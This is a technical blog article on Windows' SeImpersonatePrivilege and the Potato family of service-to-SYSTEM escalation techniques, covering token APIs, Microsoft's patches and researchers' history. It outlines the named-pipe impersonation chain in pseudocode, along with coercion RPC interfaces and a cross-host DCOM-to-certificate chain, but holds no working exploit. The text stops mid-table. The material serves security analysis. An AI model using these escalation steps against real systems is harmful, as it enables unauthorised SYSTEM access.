Parag Mali - tag: msrc

A Mitigation That Became a Primitive: The Story of SeImpersonatePrivilege

noreply@paragmali.com (Parag Mali) — Tue, 02 Jun 2026 00:00:00 GMT

Any Windows process running as `IIS APPPOOL\...`, `MSSQLSERVER`, or any other LOCAL SERVICE or NETWORK SERVICE-derived account holds one privilege -- `SeImpersonatePrivilege` -- that is sufficient, given any token-source primitive, to become `NT AUTHORITY\SYSTEM`. The privilege was introduced in Windows Server 2003 as a *mitigation*, so that lower-privileged service accounts could keep impersonating their RPC clients after Microsoft moved services off `SYSTEM`. Eighteen years of named-exploit lineage -- Token Kidnapping (2008), HotPotato (2016), RottenPotato, JuicyPotato, PrintSpoofer, GodPotato, LocalPotato, SilverPotato -- all ride on the same three-piece system: the privilege, the `ImpersonateNamedPipeClient` API, and Microsoft's documented decision to treat Windows Service Hardening as a *safety* boundary rather than a *security* boundary. This article explains why every closure path Microsoft has shipped narrows the surface without closing it, and why the primitive is structurally undefeated in 2026.

1. The One Line in `whoami /priv`

Open a shell inside any IIS application pool worker, any SQL Server service-step process, or any Exchange worker on a fully patched Windows 11 24H2 or Server 2025 box in 2026, and type whoami /priv. One line will read:

SeImpersonatePrivilege  Impersonate a client after authentication  Enabled

That single line is sufficient, given the right coercion primitive, to become NT AUTHORITY\SYSTEM in under a second. Microsoft has known this on the record since April 2009 [@msrc-blog-2009-04-token-kidnapping]. The privilege has not moved.

A Windows user right that lets a process call any of the kernel's token-substitution APIs on a token it has received from another principal. The right is enumerated as the constant `SE_IMPERSONATE_NAME` [@ms-learn-privilege-constants]. It is assigned by default to `LOCAL SERVICE`, `NETWORK SERVICE`, the local Administrators group, and every Windows service that runs under one of those accounts [@ms-learn-impersonate-policy]. Two well-known Windows accounts introduced in Windows Server 2003 / XP SP2 as a hardening alternative to running services under `NT AUTHORITY\SYSTEM`. The Microsoft Learn account documentation lists each account's default privilege set; in both cases `SE_IMPERSONATE_NAME` appears with the marker `(enabled)` [@ms-learn-localservice; @ms-learn-networkservice].

The Microsoft Learn pages list this assignment as a default. "Enabled" is a token-state distinction with operational weight. Most privileges in a service-account token are present but disabled: the process can call AdjustTokenPrivileges to turn them on, but until that happens the kernel treats the privilege as absent during access checks. SeImpersonatePrivilege on a NETWORK SERVICE token is shipped enabled. The process can call CreateProcessWithTokenW immediately, on first instruction.

Note: There is a real semantic difference between a privilege that is present-but-disabled and a privilege that is enabled. The kernel checks the enabled bit during access decisions. A NETWORK SERVICE process does not need to elevate the privilege before using it; the token already has it in the active state. This is the reason a freshly spawned IIS worker is one well-aimed coercion away from SYSTEM, with no preparatory steps.

Andrea Pierini, the researcher who has spent more time with this primitive than anyone outside Microsoft, put the operational fact in eleven words: "if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM" [@labro-2020-printspoofer-post]. Clement Labro, quoting him, added the qualifier: "a deliberately provocative shortcut obviously, but it's not far from the truth." The aphorism gets repeated in every PrintSpoofer-era writeup for a reason.

Here is the article's load-bearing claim, stated up front and re-argued through every section that follows:

Microsoft gave every NETWORK SERVICE a privilege that, in the wrong hands, is equivalent to SYSTEM. They knew. They could not change it without breaking the service model. Roughly eighteen years after Cerrudo first put that fact on the record -- and ten years after HotPotato made it pushbutton -- they still have not.

The figure "roughly eighteen years" anchors to Cesar Cerrudo's March 2008 disclosure at Hack In The Box Dubai [@cerrudo-2008-pdf]. The privilege itself shipped earlier, in Server 2003 / XP SP2 (2003-2004), and the operational-pushbutton anchor is Stephen Breen's HotPotato (January 16, 2016) [@breen-2016-hot-potato]. Three different dates, three different anchors for "how long has this been true." The article uses the Cerrudo date because that is when the fact entered the offensive-research public record.

From here, this article traces the privilege from a 2003 backward-compatibility concession to a 2024 Troopers articulation by Pierini and Cocomazzi, and explains why every closure path Microsoft has shipped narrows the surface without closing it.

{` // On a Windows service account, this is the line that matters: const tokenPrivileges = [ { name: 'SeAssignPrimaryTokenPrivilege', state: 'Disabled' }, { name: 'SeIncreaseQuotaPrivilege', state: 'Disabled' }, { name: 'SeAuditPrivilege', state: 'Disabled' }, { name: 'SeChangeNotifyPrivilege', state: 'Enabled' }, { name: 'SeImpersonatePrivilege', state: 'Enabled' }, // <-- the gate { name: 'SeCreateGlobalPrivilege', state: 'Enabled' }, ];

const gateOpen = tokenPrivileges.some( p => p.name === 'SeImpersonatePrivilege' && p.state === 'Enabled' ); console.log(gateOpen ? 'Gate is open. Token-source primitive is the only missing piece.' : 'Gate is closed.'); `}

If one line in whoami /priv is sufficient to become SYSTEM, why does Microsoft ship that line as the default for every IIS application pool, every SQL Server service step, and every Exchange worker process on every shipping Windows release? The answer is not a mistake. It is a decision -- and to understand it we need to go back to a Tymshare FORTRAN compiler in the late 1970s, around 1977 by Hardy's own "about eleven years ago" dating from his 1988 paper.

2. Hardy's Deputy and the 2003 Service-Hardening Pivot

In the late 1970s, around 1977, a Tymshare engineer named Norm Hardy watched a FORTRAN compiler with "home files license" overwrite the system billing file (SYSX)BILL because some user had passed that path as the compiler's debug-output target. The compiler had two authorities -- its own (to read system libraries) and the caller's (to write the caller's files) -- and no way to keep them separate when serving a request. The compiler was, in Hardy's later phrasing, confused about which authority to use [@hardy-1988].

A program that holds authority on behalf of two or more principals at once and has no architectural way to keep those authorities separate when acting on a request. Hardy's 1988 paper [@hardy-1988] argues that any identity-and-ACL system in which a server holds more authority than its clients and acts on client requests has a confused-deputy attack surface by construction. The only complete defence, Hardy argues, is capability-based access control.

Hardy's argument generalises: as long as authority flows ambiently with identity rather than being passed explicitly with each request, a server cannot reliably tell whose authority a given request should run under. This is not a bug class. It is a structural property of the access-matrix model Lampson formalised in 1971 [@lampson-1971]. Windows is an instance of that model. A NETWORK SERVICE process holding SeImpersonatePrivilege is Hardy's deputy: it carries two authorities at once (its own modest service identity and whatever caller just connected to its named pipe), and Windows has no in-architecture way to keep them apart.

Capability systems -- EROS, Coyotos, seL4 -- bind authority to operations rather than to running identities. A capability is an unforgeable token that names both an object and the rights you have on it; you cannot exercise authority you were not handed. In a capability system, Hardy's compiler would have been handed a capability only for the file the caller actually wanted opened, and the bill-overwrite would have been mechanically prevented. Windows shipped the alternative design in 1993 -- identity-and-ACL with kernel tokens carrying ambient authority -- and the rest of this article is, in a precise sense, the story of what that design costs eighteen years on. Section 8 returns to this thread.

2.1 The kernel object Cutler's team shipped in 1993

Dave Cutler's NT 3.1 team chose the identity-and-ACL model and built a kernel object to carry it. The access token is what an NT thread or process holds; it enumerates the user SID, the group SIDs, and the privileges currently associated with the running code. Every access check the kernel performs reduces to "does this token, evaluated against this object's ACL, grant the requested rights?" The standard reference is Windows Internals, Part 1, chapter on security [@ms-learn-windows-internals].

A kernel object the Windows security subsystem creates at logon (and clones on demand). It carries the user SID, group SIDs, privileges, integrity level, and impersonation level for a running thread or process. Tokens come in two flavours: *primary* (attached to a process at creation) and *impersonation* (attached to a thread to make it temporarily act as another identity).

NT 3.1 also shipped two structural distinctions that the rest of this article depends on. First, primary versus impersonation tokens -- a primary token is what a process is born with; an impersonation token is what a thread can wear temporarily to act on behalf of someone else. Second, the four impersonation levels (Anonymous, Identification, Impersonation, Delegation), each granting progressively more authority to act under the borrowed identity. Both distinctions exist because servers need to act on client requests under the client's authority -- and both distinctions are the surface every Potato variant operates on.

The Tymshare anecdote that Hardy uses in the 1988 paper -- the FORTRAN compiler that overwrote (SYSX)BILL -- is worth recounting in full because it is structurally identical to the Windows scenario. A user invoked the compiler with the billing information file as the debug-output target. The compiler had write access to system files (it was a "home files license" service). The compiler dutifully opened the user-supplied path under its own authority and wrote debug output to it, destroying the bill. The compiler was not malicious; it had no way to ask the OS to scope its write to "only files the caller could write." Hardy's own dating in the paper is "about eleven years ago" from 1988 -- so the events sit in the late 1970s, not the early ones.

2.2 Why the privilege exists: the 2003 service-hardening pivot

Through the 1990s, Windows services almost universally ran under NT AUTHORITY\SYSTEM. The convenience was operational: SYSTEM is the local-machine principal and holds every right the kernel knows about, so a service running as SYSTEM never needed an explicit privilege grant. The cost became visible in 2001-2003 as the first generation of service-borne worms hit production: Code Red and Nimda (2001) walked IIS; SQL Slammer and MSBlast (2003) walked SQL Server and the DCOM RPC endpoint [@wikipedia-timeline-worms]. Every successful remote code execution against a service became a SYSTEM compromise of the host, because the service was SYSTEM.

Microsoft's response was a structural retreat. Two new well-known accounts shipped in Windows Server 2003 (and reached desktop with XP SP2 in 2004): NT AUTHORITY\LOCAL SERVICE (no network credentials) and NT AUTHORITY\NETWORK SERVICE (machine-account credentials when authenticating off-box). The two account documentation pages enumerate the default privileges the SCM assigns when a service is configured to run under either account [@ms-learn-localservice; @ms-learn-networkservice]. Most of the SYSTEM-only privileges -- SeTcbPrivilege, SeLoadDriverPrivilege, SeRestorePrivilege -- are absent from the enumerated default sets [@ms-learn-localservice; @ms-learn-networkservice]. The intent was clear: a worm-popped IIS worker should land as a low-privileged process, not as SYSTEM.

But the new accounts could not lose every SYSTEM authority. Pre-2003 services routinely impersonated their clients to make access checks against per-user resources -- IIS reading a user's home directory under the user's identity, SQL Server enforcing per-login row security, the SMB server returning per-user file lists. That entire pattern depended on the service being able to call ImpersonateNamedPipeClient (or RpcImpersonateClient, or one of the LSA-side APIs) and then act under the caller's token. If LOCAL SERVICE and NETWORK SERVICE could not impersonate, the entire RPC server population would break.

So Microsoft introduced SeImpersonatePrivilege -- a new named user right gating the impersonation APIs -- and assigned it by default to LOCAL SERVICE, NETWORK SERVICE, the local Administrators group, and (via the SCM's auto-grant logic) every service configured to run under one of those accounts [@ms-learn-impersonate-policy]. The policy-setting page is explicit about the intent: "If this user right is required for this type of impersonation, an unauthorized user cannot cause a client to connect (for example, by remote procedure call (RPC) or named pipes) to a service that they have created to impersonate that client" [@ms-learn-impersonate-policy].

The privilege, in other words, was created as a mitigation. Its purpose was to keep impersonation working for legitimate service-account RPC servers while denying it to ordinary user processes. That decision -- to gate impersonation on an explicit named right rather than to forbid impersonation outright -- is the architectural pivot the rest of this article re-examines from every angle.

flowchart TD Client["Low-privileged caller"] -- "Connects to attacker pipe" --> NS["NETWORK SERVICE process"] NS -- "Holds its own modest authority" --> A1["Authority 1, service identity"] NS -- "Holds SeImpersonatePrivilege" --> A2["Authority 2, any token it receives"] SYSPROC["Privileged caller, SYSTEM"] -- "Coerced to authenticate to the pipe" --> NS NS -- "Impersonate caller token, then act" --> Action["Action runs under SYSTEM"]

Microsoft did not introduce SeImpersonatePrivilege to enable an exploit. They introduced it as a backward-compatibility concession. So why did the privilege become the dominant lineage of service-to-SYSTEM elevation for nearly two decades? The answer starts with the API surface.

3. The Token API Surface

There is no single "impersonate" API on Windows. There are four substitution APIs that put a token on a thread or a new process, and one coercion API that supplies the token in the first place. The Potato family lives at the intersection of all five.

3.1 Primary versus impersonation tokens

The kernel distinguishes TOKEN_PRIMARY from TOKEN_IMPERSONATION. A primary token is what a process is created with; an impersonation token can be attached only to a thread. The distinction matters operationally because only an impersonation token at level SecurityImpersonation or SecurityDelegation lets you take real action under the borrowed identity. An Identification-level token can be checked against ACLs but cannot be used to open kernel objects under the new identity, and an Anonymous-level token is useless for almost everything [@ms-learn-windows-internals; @ms-learn-impersonateloggedonuser].

A *primary token* is created at logon and attached to a process for its lifetime; the kernel uses it for every access check the process makes by default. An *impersonation token* is attached to an individual thread by `SetThreadToken` (or by an impersonation API that calls it internally) and overrides the primary token for that thread only. The kernel reserves the right to demote impersonation tokens to `Identification` level in cross-machine RPC scenarios where delegation has not been explicitly negotiated. A four-value enum -- `SecurityAnonymous`, `SecurityIdentification`, `SecurityImpersonation`, `SecurityDelegation` -- carried on every impersonation token. It limits what the impersonating thread can do under the borrowed identity. `SecurityImpersonation` is the level a service can act under for local access checks; `SecurityDelegation` extends that to off-box authentication and is the level the LocalPotato class occasionally reaches.

The Potato lineage navigates these four levels with care. Identification is harmless because it cannot spawn a process under the borrowed identity; Impersonation is the level a service can act under for any local kernel object; Delegation is what cross-host variants such as SilverPotato sometimes need.

The SecurityIdentification versus SecurityImpersonation distinction is the gate that makes many naive coercion attempts fail. If the attacker controls only an RPC interface that performs an ImpersonateClient call without the right SQOS (Security Quality of Service) negotiation, the resulting token may land at SecurityIdentification -- usable for AccessCheck, useless for CreateProcessWithTokenW. Each Potato variant either chooses a coercion primitive that arrives at SecurityImpersonation or upgrades the token via a subsequent DuplicateTokenEx.

3.2 The substitution primitives

Four APIs move tokens around the system. None of them produces a token from nothing; all of them assume the caller already has a handle to one.

SetThreadToken -- attach an impersonation token to a thread [@ms-learn-setthreadtoken]. The thread now runs under the borrowed identity for every subsequent access check.
ImpersonateLoggedOnUser -- the thread-level convenience wrapper [@ms-learn-impersonateloggedonuser]. Same effect as SetThreadToken, with simpler arguments.
DuplicateTokenEx -- create a new token from an existing one, with adjustable type (primary vs impersonation) and level (the four-value enum above) [@ms-learn-duplicatetokenex]. The Potato lineage uses this to convert an impersonation token into a primary one before launching a process.
CreateProcessWithTokenW -- spawn a new process under an arbitrary primary token [@ms-learn-createprocesswithtokenw]. The Microsoft Learn documentation is explicit about the gate: "The process that calls CreateProcessWithTokenW must have the SE_IMPERSONATE_NAME privilege."

That last sentence is the keystone. SeImpersonatePrivilege is not just "the right to impersonate." It is the right to convert an impersonated identity into a fresh process that owns the desktop, the registry, the file system, and every other kernel object the borrowed identity has authority over. Without the privilege, the attacker has a thread temporarily wearing SYSTEM's hat; with it, the attacker has cmd.exe running as SYSTEM until the system reboots.

3.3 The coercion primitive

The three substitution primitives are inert without a token to substitute. The dominant token source on Windows is the named-pipe server primitive ImpersonateNamedPipeClient, shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. Any process that owns a named pipe can call this API after a client connects; the impersonating thread then wears the caller's token at whatever impersonation level the caller's SQOS negotiated.

A Win32 API that copies the connected client's access token onto the calling thread, after which the thread acts under the client's identity until `RevertToSelf` is called. The API has shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. It is the load-bearing token source for every Potato variant from HotPotato through GodPotato. Calling the API at higher than `SecurityIdentification` requires `SeImpersonatePrivilege` on the caller.

This is the four-step chain every Potato operator runs, as enumerated in Forshaw's 2021 Project Zero retrospective on the lineage [@forshaw-2021-10-relaying-dcom-pz]:

CreateNamedPipe("\\.\pipe\<attacker_name>") -- a service-account process opens a pipe it controls.
Induce some privileged Windows component to authenticate to that pipe.
ImpersonateNamedPipeClient -- the impersonating thread now wears the caller's token.
DuplicateTokenEx to primary; CreateProcessWithTokenW(cmd.exe).

sequenceDiagram participant Atk as Attacker, service account participant Pipe as Named pipe attacker controls participant Sys as Privileged caller, SYSTEM-context Atk->>Pipe: CreateNamedPipe and listen Atk->>Sys: Trigger coercion primitive Sys->>Pipe: Authenticate to the pipe Atk->>Pipe: ImpersonateNamedPipeClient Atk->>Atk: DuplicateTokenEx, impersonation to primary Atk->>Atk: CreateProcessWithTokenW cmd.exe Note over Atk: cmd.exe now running as SYSTEM

Step three depends on step two. Step two is the open question every generation of Potato has answered differently -- and that Microsoft has patched, one token source at a time, for nearly two decades.

{` // Pseudocode showing the four-step Potato chain. // Privilege checks shown as comments where the kernel enforces them.

function impersonationChain(coercionTrigger) { const pipe = createNamedPipe("\\.\pipe\demo"); // no privilege required coercionTrigger(pipe); // induce SYSTEM to connect pipe.waitForConnect();

// kernel allows SecurityImpersonation only if caller has SeImpersonatePrivilege: const callerToken = pipe.impersonateNamedPipeClient();

const primary = duplicateTokenEx(callerToken, "primary", "SecurityImpersonation"); // no privilege required

// kernel gate: requires SE_IMPERSONATE_NAME on the calling process: return createProcessWithTokenW(primary, "cmd.exe"); } `}

3.4 The privilege next to it

CreateProcessWithTokenW is gated on SeImpersonatePrivilege. Its sibling CreateProcessAsUser is gated on a different pair of privileges -- SeAssignPrimaryTokenPrivilege (constant name SE_ASSIGNPRIMARYTOKEN_NAME) when the supplied token is not assignable by the caller, plus SeIncreaseQuotaPrivilege (SE_INCREASE_QUOTA_NAME) in all cases. Both are enumerated separately in the privilege-constants table [@ms-learn-privilege-constants]. On a NETWORK SERVICE or LOCAL SERVICE token, SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME are both present but disabled [@ms-learn-localservice; @ms-learn-networkservice]: a service-account process must call AdjustTokenPrivileges to enable them before CreateProcessAsUser will succeed, whereas SeImpersonatePrivilege is shipped enabled and CreateProcessWithTokenW works on the first instruction. Pierini's aphorism quoted in section 1 names both privileges because either one independently makes the same chain runnable -- but on a vanilla NETWORK SERVICE token, only SeImpersonatePrivilege is enabled, and the rest of this article treats it as the privilege that matters in practice.

API	Privilege required	Input	Output
`ImpersonateNamedPipeClient`	none for `SecurityIdentification` or `SecurityAnonymous`; for higher levels, either `SeImpersonatePrivilege`, or the token was created with explicit credentials via `LogonUser`/`LsaLogonUser` from within the caller's logon session, or the authenticated identity is the same as the caller (see [@ms-learn-impersonatenamedpipeclient])	connected pipe handle	impersonation token on thread
`ImpersonateLoggedOnUser`	none (caller must already hold the token)	token handle	impersonation token on thread
`SetThreadToken`	depends on token level	token handle	impersonation token on thread
`DuplicateTokenEx`	none	source token	new token, type/level adjustable
`CreateProcessWithTokenW`	`SeImpersonatePrivilege`	primary token + command line	new process
`CreateProcessAsUser`	`SeAssignPrimaryTokenPrivilege`	primary token + command line	new process

flowchart LR Process["Process, holds primary token"] Thread["Thread, optional impersonation token"] NewProc["New process, spawned with chosen primary token"] Process -- "OpenProcessToken, read" --> TH["Token handle"] TH -- "SetThreadToken or ImpersonateLoggedOnUser" --> Thread Thread -- "GetThreadToken" --> TH TH -- "DuplicateTokenEx, impersonation to primary" --> PT["Primary token handle"] PT -- "CreateProcessWithTokenW, gated on SeImpersonatePrivilege" --> NewProc Pipe["Connected named pipe"] -- "ImpersonateNamedPipeClient, gated on SeImpersonatePrivilege beyond SecurityIdentification" --> Thread

Note: The five-API surface decomposes cleanly into two halves. SeImpersonatePrivilege is the kernel-side gate that decides whether a process can substitute an arbitrary primary token into a new process. ImpersonateNamedPipeClient is the user-mode source that provides the token in the first place. Closing one half closes the surface. Closing neither half is the choice Microsoft has shipped for twenty years.

So how do you get a SYSTEM-context Windows process to authenticate to a pipe you control? Cesar Cerrudo asked that question in 2008 -- and his answer was just the first of five.

4. Five Generations of Token Sources, One Constant Privilege

Cesar Cerrudo had the privilege figured out in March 2008. So why did it take until January 2016 for HotPotato to make the chain pushbutton, until July 2018 for JuicyPotato to industrialise it, and until December 2022 for GodPotato to bypass the most aggressive DCOM hardening Microsoft has shipped? Because every generation answered the same question -- where do the tokens come from? -- differently, and Microsoft patched each token source one at a time.

This section is generation-level. The variant-by-variant chronology of every named Potato lives in the sibling Potato Family article (2026-05-31); here, variants appear only as evidence for claims about the primitive.

4.1 Generation 1, direct token theft (2008-2010)

Cerrudo's HITB Dubai 2008 paper, Token Kidnapping, named the privilege and named the technique [@cerrudo-2008-pdf]. The chain ran inside an MSSQL or IIS process and looked like this: enumerate processes the service account could open; find a thread that was already impersonating a higher-privileged token (typically leaked by some service-startup path); DuplicateTokenEx that token; CreateProcessWithTokenW to spawn cmd.exe under the new identity. Two years later, at DEF CON 18, Cerrudo presented Token Kidnapping's Revenge with fresh examples and a community-canonical title for the technique [@cerrudo-2010-defcon].

Microsoft's response was MS09-012 in April 2009 (community-known as the Chimichurri fix, after Cesar Cerrudo's PoC of the same name shipped by Argeniss alongside the disclosure [@webarchive-argeniss-chimichurri; @forshaw-2020-01-empirical-wsh]). The MSRC blog post announcing the bulletin is unusually clear about what it closed and what it deliberately did not:

An attacker can escalate their privileges on a system if they can control the SeImpersonatePrivilege token. An attacker would need to be executing code in the context of a Windows service to use this exploit. -- MSRC blog, April 14, 2009 [@msrc-blog-2009-04-token-kidnapping]

The MSRC text continues: "the first update addresses service isolation, while the second addresses processes running as service accounts" [@msrc-blog-2009-04-token-kidnapping]. Service isolation, not the privilege itself. The bulletin closed the specific handle-leak surface Cerrudo had used -- it did not revoke SeImpersonatePrivilege from NETWORK SERVICE, did not modify CreateProcessWithTokenW, did not modify ImpersonateNamedPipeClient. The MSRC acknowledged on the record that the privilege was sufficient for the escalation and elected to fix the symptom (the leak surface), not the gate.

This is the supersession pattern that every subsequent generation follows: Microsoft patches the current token source; the next generation finds a new one within months.

Chimichurri (sometimes Chimichurri.exe) is not a Microsoft codename. It is the name Cesar Cerrudo gave to the PoC exploit Argeniss released alongside the MS09-012 bulletin, hosted at the time at argeniss.com/research/Chimichurri_CesarCerrudo.zip and preserved in the Internet Archive [@webarchive-argeniss-chimichurri]. Microsoft's own naming for the bulletin is simply MS09-012 / KB959454. Offensive-research convention has used "Chimichurri" as shorthand for the Cerrudo PoC ever since -- never for a Microsoft internal codename. Forshaw's January 2020 service-hardening retrospective references the same Cerrudo / Argeniss lineage [@forshaw-2020-01-empirical-wsh].

Cerrudo presented the 2008 paper under his Argeniss affiliation and the 2010 DEF CON talk under IOActive [@cerrudo-2008-pdf; @cerrudo-2010-defcon]. The affiliation change occasionally trips up archival cross-referencing -- the work is the same lineage.

4.2 Generation 2, local NTLM cross-protocol reflection (2014-2016)

In December 2014, James Forshaw filed Project Zero Issue 222 -- a WebDAV-to-SMB local NTLM reflection that turned the Windows authentication redirector into a self-service token source. Stephen Breen's HotPotato (January 16, 2016) used a related local-NTLM-relay primitive to deliver the first end-to-end service-account-to-SYSTEM chain that did not depend on finding a leaked token handle [@breen-2016-hot-potato]. Breen credits the genealogy openly: "If this sounds vaguely familiar, it's because a similar technique was disclosed by the guys at Google Project Zero . . . In fact, some of our code was shamelessly borrowed from their PoC and expanded upon" [@breen-2016-hot-potato].

The conceptual leap is the one every subsequent generation depends on. Cerrudo's G1 had to find a high-privileged token leaked into the local process tree; Breen's G2 makes the system hand you one by coercing it to authenticate. The system itself becomes the token source. Forshaw articulated this generalisation explicitly in the 2021 Project Zero retrospective on the entire lineage [@forshaw-2021-10-relaying-dcom-pz].

Microsoft's response was MS16-075 (the SMB-side fix) and a handful of WPAD-hardening rollups. The chain became fragile and stopped being pushbutton -- but, again, none of these changes touched SeImpersonatePrivilege or ImpersonateNamedPipeClient.

4.3 Generation 3, local DCOM activation (2016-2018)

Within months of HotPotato, the community converged on a more reliable coercion primitive: a forged DCOM OBJREF marshalled with an attacker-chosen OXID resolver. The trick induces a SYSTEM-context COM server to authenticate to a named pipe the attacker controls. Forshaw had reported the underlying primitive at Project Zero in 2015 as Issue 325, fixed as CVE-2015-2370 [@nvd-cve-2015-2370], but as his 2021 retrospective notes:

"The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits, the latest in that line being RemotePotato which is currently unpatched as of October 2021." [@forshaw-2021-10-relaying-dcom-pz]

The DCOM service that maps an OXID (Object Exporter Identifier) to the RPC binding string a client uses to call methods on a marshalled COM object. The "Rotten" and "Juicy" Potato families forge `OBJREF` marshalled blobs in which the OXID resolver field points back at an attacker-controlled endpoint, causing the SYSTEM-context RPCSS to authenticate to the attacker's pipe when it tries to resolve the OXID.

RottenPotato (September 26, 2016) demonstrated the chain [@foxglove-2016-09-rotten-potato]; JuicyPotato (July 2018) industrialised it with a configurable CLSID table and reliable pipe handling. The canonical mirror for the JuicyPotato repository is the ohpe/juicy-potato GitHub project [@ohpe-juicy-potato-repo]. Crucially, the load-bearing API was still ImpersonateNamedPipeClient -- the DCOM trick is just the vehicle that delivers a SYSTEM-context authentication to the attacker's pipe.

4.4 Generation 4, coercion APIs beyond DCOM (2020-2024)

Clement Labro (itm4n) shipped PrintSpoofer on April 28, 2020 [@labro-2020-printspoofer-post; @itm4n-printspoofer-repo]. The coercion primitive was MS-RPRN's RpcRemoteFindFirstPrinterChangeNotificationEx -- an RPC method on the Print Spooler that takes an attacker-supplied UNC-like notification target and authenticates to it under the Spooler's SYSTEM identity. PrintSpoofer needed neither DCOM nor any leaked handle; the coercion primitive lived inside a always-running Windows service.

PrintSpoofer generalised. Researchers quickly mapped a family of Windows RPC interfaces with the same shape -- an RPC method that takes an attacker-supplied path and resolves it server-side under a privileged identity. MS-EFSR (the Encrypting File System remote protocol) gave EfsPotato and SharpEfsPotato -- the canonical fork is bugch3ck/SharpEfsPotato [@bugch3ck-sharpefspotato-repo], not the ly4k mirror. MS-FSRVP, MS-DFSNM, and a long tail followed. CoercedPotato's --interface {ms-rprn, ms-efsr} switch operationalises the enumeration in a single tool [@prepouce-coercedpotato-repo]; the project's MS-EFSR catalogue alone lists fourteen entry points (indices 0-13, with two marked NOT WORKING).

The pattern is clear at this point: the privilege is the constant; the coercion primitive is interchangeable. Microsoft has shipped per-CVE patches for individual coercion APIs (the PrintNightmare cluster around MS-RPRN, anchored by CVE-2021-34527 [@nvd-cve-2021-34527]; targeted MS-EFSR fixes), but no commitment to enumerate or class-close the surface.

4.5 Generation 5, into RPCSS itself (2022-2024)

In December 2022, the researcher who goes by BeichenDream published GodPotato, with a README that names the structural defect plainly:

"Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have ImpersonatePrivilege permission. Then you are NT AUTHORITY\SYSTEM . . . There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system." [@beichendream-godpotato-readme]

GodPotato survives every phase of CVE-2021-26414 (the three-phase DCOM hardening, rolled out 2021-06-08, 2022-06-14, 2023-03-14) [@nvd-cve-2021-26414] because the defect is in RPCSS's OXID handling, not in DCOM activation. The other structural half of the defect is documented by Forshaw in April 2020: "When LSASS creates a Token for a new Logon session it stores that Token for later retrieval . . . in this case it does matter as it means that the negotiated Token on the server, which is the same machine, will actually be the session's Token, not the caller's Token" [@forshaw-2020-04-sharing-logon-session]. Together those two structural properties keep GodPotato functional across the README's tested matrix -- Server 2012 through Server 2022, Windows 8 through Windows 11 -- and no public Microsoft patch has been issued for the underlying defect through mid-2026 [@beichendream-godpotato-readme].

LocalPotato (February 2023) is the parallel branch: Antonio Cocomazzi and Andrea Pierini discovered that the NTLM Type-2 "Reserved" field could be used to swap context handles during local authentication, escalating from an unprivileged user -- the first variant in the lineage that does not require SeImpersonatePrivilege to start [@cocomazzi-pierini-2023-localpotato-post]. Microsoft fixed it as CVE-2023-21746 [@nvd-cve-2023-21746], but the conceptual proof remains: the local NTLM stack itself is an attacker-controllable token source.

SilverPotato (April 24, 2024) extended the family across hosts [@pierini-2024-silverpotato-post]. Members of the Distributed COM Users or Performance Log Users groups trigger remote activation of the sppui DCOM application (CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}) on a target server. The coerced Domain Admin authentication is then chained through SMB relay to the ADCS host, SAM dump, Pass-the-Hash, CA private key extraction, and ForgeCert to mint a Domain Admin certificate. Microsoft fixed SilverPotato as CVE-2024-38061 in the July 2024 Patch Tuesday [@nvd-cve-2024-38061]; the original researcher's credit was subsequently removed after a second-reporter overlap and an MSRC severity re-grading from moderate to important [@pierini-2024-silverpotato-post]. The structural primitive the chain exploits -- DCOM cross-session activation gated on Distributed COM Users / Performance Log Users group membership chained into a cross-host NTLM relay -- remains a per-CVE rather than a class-level close.

FakePotato (CVE-2024-38100, July 2024 KB5040434) closed the ShellWindows DCOM activation path that Pierini disclosed; the patch shipped about a month before the public disclosure [@nvd-cve-2024-38100; @pierini-2024-fakepotato-post].

James Forshaw's writing is, by some margin, the single most-cited body on the impersonation primitive in the offensive-research community. Four single-author primaries underpin most of this article: *The Art of Becoming TrustedInstaller* (2017-08) on Service-SID derivation [@forshaw-2017-08-trustedinstaller]; *Empirically Assessing Windows Service Hardening* (2020-01), the canonical empirical assessment of what the WSH stack actually closes and what it does not [@forshaw-2020-01-empirical-wsh]; *Sharing a Logon Session a Little Too Much* (2020-04), which documents the LSASS cached-token defect that GodPotato later weaponised [@forshaw-2020-04-sharing-logon-session]; and *Windows Exploitation Tricks: Relaying DCOM Authentication* (2021-10), the Project Zero retrospective that names the genealogy from Issue 325 to RemotePotato [@forshaw-2021-10-relaying-dcom-pz]. Forshaw's 2020-01 opening sentence is the line every defender quotes back: "In the past few years there's been numerous exploits for service to system privilege escalation. Primarily they revolve around the fact that system services typically have impersonation privilege" [@forshaw-2020-01-empirical-wsh]. flowchart TD G1["G1, 2008-2010, Cerrudo Token Kidnapping, leaked impersonation handles"] G2["G2, 2014-2016, HotPotato, local NTLM WPAD reflection"] G3["G3, 2016-2018, RottenPotato, JuicyPotato, DCOM OXID activation"] G4["G4, 2020-2024, PrintSpoofer, CoercedPotato, non-DCOM RPC coercion"] G5["G5, 2022-2024, GodPotato, LocalPotato, SilverPotato, RPCSS OXID and NTLM-loopback defects"] Constant["SeImpersonatePrivilege plus ImpersonateNamedPipeClient, unchanged 2003 through 2026"] G1 -- "MS09-012, Cerrudo Chimichurri PoC" --> G2 G2 -- "MS16-075 plus WPAD hardening" --> G3 G3 -- "Win10 1809 OXID hardening, then CVE-2021-26414 three phases" --> G4 G4 -- "Per-CVE coercion-API patches, PrintNightmare cluster" --> G5 G5 -- "GodPotato unpatched, SilverPotato patched CVE-2024-38061, LocalPotato patched CVE-2023-21746, FakePotato patched CVE-2024-38100" --> Open["Mid-2026 state, still functional via GodPotato and the coercion-API long tail"] G1 --- Constant G2 --- Constant G3 --- Constant G4 --- Constant G5 --- Constant

Generation	Years	Token source	Microsoft response	Still works in 2026?
G1 Direct Token Theft (Cerrudo)	2008-2010	Leaked impersonation handles	MS09-012 (Cerrudo Chimichurri PoC)	No (handle leaks closed)
G2 Local NTLM Reflection (HotPotato)	2014-2016	WPAD + HTTP-to-SMB reflection	MS16-075 + WPAD hardening	No (chain too fragile)
